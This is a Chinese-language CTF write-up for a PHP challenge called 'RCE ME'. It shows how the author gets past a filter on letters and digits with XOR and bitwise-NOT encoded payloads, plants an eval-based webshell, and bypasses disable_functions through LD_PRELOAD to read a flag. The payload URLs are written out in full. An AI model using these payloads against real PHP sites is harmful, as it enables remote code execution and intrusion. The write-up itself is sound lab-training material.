RCE ME

  1. index.php

    <?php
    error_reporting(0);
    if(isset($_GET['code'])){
                $code=$_GET['code'];
                        if(strlen($code)>40){
                                            die("This is too Long.");
                                                    }
                        if(preg_match("/[A-Za-z0-9]+/",$code)){
                                            die("NO.");
                                                    }
                        @eval($code);
    }
    else{
                highlight_file(__FILE__);
    }
    
    // ?>
    
  2. code中不能含有字母和数字,用符号构造phpinfo

    p: ]^-
    h: (^@
    p: ]^-
    i: )^@
    n: .^@
    f: ;^]
    o: /^@
    '](]).;/'^'-@-@@]@';$_();
    

    执行成功,但是长度受限,难以进行下一步的构造,并且,这种方式不能构造出来a,所以放弃这个思路

  3. 取反

    urlencode(~"phpinfo") = %8F%97%8F%96%91%99%90
    (~%8F%97%8F%96%91%99%90)(); // phpinfo();
    

    可行。

    继续构造scandir, print_r

    urlencode(~"scandir") = %8C%9C%9E%91%9B%96%8D
    (~%8C%9C%9E%91%9B%96%8D)('.'); //scandir();
    urlencode(~"print_r") = %8F%8D%96%91%8B%A0%8D
    (~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)('/'));
    

    结果:

    Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => boot [5] => dev [6] => etc [7] => flag [8] => home [9] => lib [10] => lib64 [11] => media [12] => mnt [13] => opt [14] => proc [15] => readflag [16] => root [17] => run [18] => sbin [19] => srv [20] => sys [21] => tmp [22] => usr [23] => var ) 
    

    可以看到根目录下有readflag, flag,应该是要执行/readflag才能得flag

  4. 查看disable_functions,系统命令执行函数全部被ban了,并且有base_dir的限制。所以,下一步需要做的就是绕过disable_fuctionsbase_dir

    考虑用LD_PRELOAD + putenv来绕过限制。file_put_contents在这里写文件不太可行,于是找了一个小马:

    http://d9239bed-5916-4069-be5c-194cf46cbe4b.node3.buuoj.cn/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
    

    蚁剑连shell

    关于LD_PRELOAD + putenv可以参考:https://www.anquanke.com/post/id/175403

    网上看到一个工具,直接用就好了(偷个懒):https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

    注意:我们只能够在tmp目录下上传文件,最后的payload:

    http://d9239bed-5916-4069-be5c-194cf46cbe4b.node3.buuoj.cn/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/res.txt&sopath=/tmp/bypass_disablefunc_x64.so
    
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值